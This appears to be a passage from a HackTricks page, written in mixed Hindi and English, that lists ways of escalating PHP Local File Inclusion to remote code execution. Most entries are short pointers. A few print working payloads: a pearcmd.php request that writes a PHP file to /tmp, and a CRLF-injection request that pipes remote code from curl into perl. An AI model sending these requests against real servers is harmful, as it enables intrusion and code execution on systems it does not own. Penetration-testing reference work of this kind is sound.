This writeup explains कि आप php filters to generate arbitrary content का उपयोग करके आउटपुट के रूप में arbitrary content generate कर सकते हैं। जिसका मूलतः मतलब है कि आप include के लिए arbitrary php code generate कर सकते हैं बिना इसे किसी फ़ाइल में write किए।

LFI2RCE via PHP Filters

Via segmentation fault

Upload करें एक फ़ाइल जो /tmp में temporary के रूप में स्टोर होगी, फिर उसी request में एक segmentation fault ट्रिगर करें, और फिर वह temporary file won't be deleted होगी और आप उसे खोज सकते हैं।

LFI2RCE via Segmentation Fault

Via Nginx temp file storage

यदि आपको Local File Inclusion मिला है और PHP के सामने Nginx चल रहा है तो आप निम्न तकनीक से RCE प्राप्त कर सकते हैं:

LFI2RCE via Nginx temp files

Via PHP_SESSION_UPLOAD_PROGRESS

यदि आपको Local File Inclusion मिला है भले ही आपकी कोई session न हो और session.auto_start Off हो। अगर आप multipart POST डेटा में PHP_SESSION_UPLOAD_PROGRESS प्रदान करते हैं, तो PHP आपके लिए session को enable कर देगा। आप इसे abuse करके RCE हासिल कर सकते हैं:

LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS

Via temp file uploads in Windows

यदि आपको Local File Inclusion मिला है और सर्वर Windows पर चल रहा है तो आप RCE प्राप्त कर सकते हैं:

LFI2RCE Via temp file uploads

Via pearcmd.php + URL args

As explained in this post, स्क्रिप्ट /usr/local/lib/phppearcmd.php php docker images में default रूप से मौजूद है। इसके अलावा, URL के माध्यम से स्क्रिप्ट को arguments पास करना possible है क्योंकि बताया गया है कि अगर किसी URL param में = नहीं है तो उसे argument के रूप में उपयोग किया जाना चाहिए। देखें भी watchTowr’s write-up और Orange Tsai’s “Confusion Attacks”

The following request create a file in /tmp/hello.php with the content <?=phpinfo()?>:

bash
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1

निम्नलिखित CRLF vuln का दुरुपयोग करके RCE प्राप्त करता है (from here):

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

Via phpinfo() (file_uploads = on)

अगर आप किसी सिस्टम में Local File Inclusion पाते हैं और कोई फ़ाइल जो phpinfo() दिखाती है और file_uploads = on है, तो आप RCE प्राप्त कर सकते हैं:

LFI2RCE via phpinfo()

Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

यदि आप Local File Inclusion पाते हैं और आप टेम्प फ़ाइल का path exfiltrate कर सकते हैं, लेकिन server यह checking कर रहा है कि शामिल की जाने वाली फ़ाइल में PHP marks हैं या नहीं, तो आप इस Race Condition से उस जांच को bypass करने की कोशिश कर सकते हैं:

LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Via eternal waiting + bruteforce

यदि आप LFI का दुरुपयोग करके upload temporary files कर सकते हैं और server पर PHP निष्पादन को hang कर सकते हैं, तो फिर आप घंटों तक फ़ाइल-नामों को brute force करके अस्थायी फ़ाइल ढूंढ सकते हैं:

LFI2RCE via Eternal waiting

To Fatal Error

यदि आप किसी भी फ़ाइल को include करते हैं /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar। (उस त्रुटि को उत्पन्न करने के लिए आपको उसी फ़ाइल को 2 बार include करने की आवश्यकता है).

मुझे नहीं पता कि यह कितना उपयोगी है पर हो सकता है।
यहाँ तक कि यदि आप PHP Fatal Error उत्पन्न करते हैं, तो अपलोड की गई PHP अस्थायी फ़ाइलें हटा दी जाती हैं.

References

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें